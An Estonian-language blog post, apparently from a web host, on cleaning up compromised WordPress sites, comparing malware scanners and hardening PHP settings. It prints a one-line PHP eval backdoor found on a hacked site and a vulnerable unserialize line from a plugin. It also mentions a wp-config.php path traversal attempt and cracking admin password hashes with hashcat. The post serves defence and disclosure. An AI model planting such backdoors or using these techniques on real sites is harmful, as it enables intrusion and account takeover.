Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂